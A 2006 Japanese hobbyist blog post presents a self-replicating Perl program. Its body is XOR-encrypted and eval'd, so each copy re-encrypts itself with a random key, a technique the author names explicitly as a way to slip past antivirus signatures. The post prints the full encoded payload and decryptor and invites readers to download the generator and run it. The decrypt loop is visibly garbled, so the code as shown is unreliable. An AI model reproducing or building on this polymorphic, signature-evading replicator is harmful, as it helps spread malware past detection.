« ここしばらくの予定 | 自己複製プログラム暗号化付き(Perl) | ぴたごら »

Mon April 17,2006

自己複製プログラム暗号化付き(Perl)

さて、今回は暗号化付きの自己複製プログラムの紹介です。
ここでいう暗号化の目的はコードを解読されないようにするのが目的ではありません。いくら暗号化してもプログラム実行時には複号化するのでトレースをしっかりやれば解読されてしまいますから。本当の目的はアンチウィルスソフトに検出されにくくすることです。技術的に言うと、コードをスクランブルすることでアンチウィルスのシグネチャに引っかかりにくくすることです。

ちなみにここで紹介するコードは悪さは一切しません。
脆弱性を攻撃する部分を持っていないのでユーザが実行しない限りなにもできません
またCの実行コードではなく、所詮Perlなのでコンセプトを検証するだけです
まあどれもそれほど難しいことではないので本気で作ろうと思えば作れるでしょうが(^^;

まずは、実際のコードを見てください

#!/usr/bin/perl
$cmd='16430f425351591a1071101e010b1b0916415757560f4142405b5c46541a1017020756
101e5b5c461a40535c561a0b0b0b0b0b1b1b1b091641535e460f4142405b5c46541a101702005
6101e5b5c461a40535c561a0b0b1b1b1b0916515d424b545b5e570f51404b42461a1641575756
1e1641535e461b091659574b0f5b5c461a40535c561a0007071b1b095d42575c1a5d47461e12
100c16515d424b545b5e57101b0942405b5c46125d4746121011131d4741401d505b5c1d4257
405e6e5c100916575c510f101009545d401a16580f020916580e5e575c55465a1a165657516d
515d56571b09165819191b49165e0f4147504146401a165657516d515d56571e16581e031b09
165b0f475c425351591a1071101e165e1b0916575c0f165b6c1659574b0916575c511c0f4142
405b5c46541a101702004a101e16575c1b094f42405b5c46125d474612106e16515f560f1643
16575c511643096e5c100942405b5c46125d474612106e1659574b0f1659574b096e5c10094
2405b5c46125d474612106e165657516d515d56570f14565751404b42461a6e16515f561e6e1
659574b1b096e5c100942405b5c46125d474612105744535e1a6e165657516d515d56571b09
6e5c6e5c100942405b5c46125d4746121041475012565751404b4246496e5c100942405b5c4
6125d474612106e46545d401a6e165b0f02096e165b0e5e575c55465a1a6e166d69026f1b096
e165b0f6e165b19001b496e5c100942405b5c46125d4746106e466e466e16510f4147504146
401a6e166d69026f1e6e165b1e001b096e5c100942405b5c46125d474612106e466e466e165b
564a0f5a574a1a6e16511b6c6e166d69036f096e5c100942405b5c46125d4746106e466e466e1
65657511c0f425351591a6e10716e101e6e165b564a1b096e5c100942405b5c46125d4746121
06e464f6e5c100942405b5c46125d474612106e4640574647405c126e16565751096e5c1009
42405b5c46125d474612104f6e5c1009515e5d41571a5d47461b09515a5f5d561a020505051e
16515d424b545b5e571b09';
$key=50;
$dec_code=&decrypt($cmd,$key);
eval($dec_code);

sub decrypt{
  for($i=0;$i     $c=substr($_[0],$i,2);
    $idx=hex($c)^$_[1];
    $dec.=pack("C",$idx);
  }
  return $dec;
}

最初のひたすら長い16進数部分が暗号化されたコード本体です。その下にあるkeyが復号化用の鍵、decryptが復号化関数です。
プログラムはあらかじめ与えられた鍵を使って暗号化された本体を復号化した後に実行します。
実行されたプログラムは鍵をランダムに生成したのちに自身を暗号化しつつ別のファイルに書き込みます。

もちろんいきなりこのコードを書くなんてことが出来るわけがないので、このコードを生成するための別のコードがあります。これを実行すると暗号化したコードが得られます。興味のある人はダウンロードして試してみてください。Perlの実行環境さえあれば走るはずです
その際は暗号化されたコードを実行してみて、

  • 鍵が毎回変わる
  • 暗号化された本体が毎回変わる
  • でも機能は同じ
なことを確認してみてください。

コードを読む方のために少しだけ内容を解説しておくと$enc="";以降のなにか計算をしている部分が暗号化ルーチンです。暗号化は単純に文字コードと鍵のxorを取っています。あとは特にややこしい部分はないと思います。

Cでも基本的に同じことができるはずなので時間があればやってみたいです
まあそんな時間あるわけないですが orz

Posted at 10:15

Trackback Pings

このエントリーのトラックバックURL:
http://pam-ya.com/cgi/mt/mt-tb.cgi/1387

Comment

(** ;

Posted by 鶴丸 at 11:54 04.17

単なるマニアの暇つぶしです、はい(^^;

Posted by EIJ at 16:59 04.18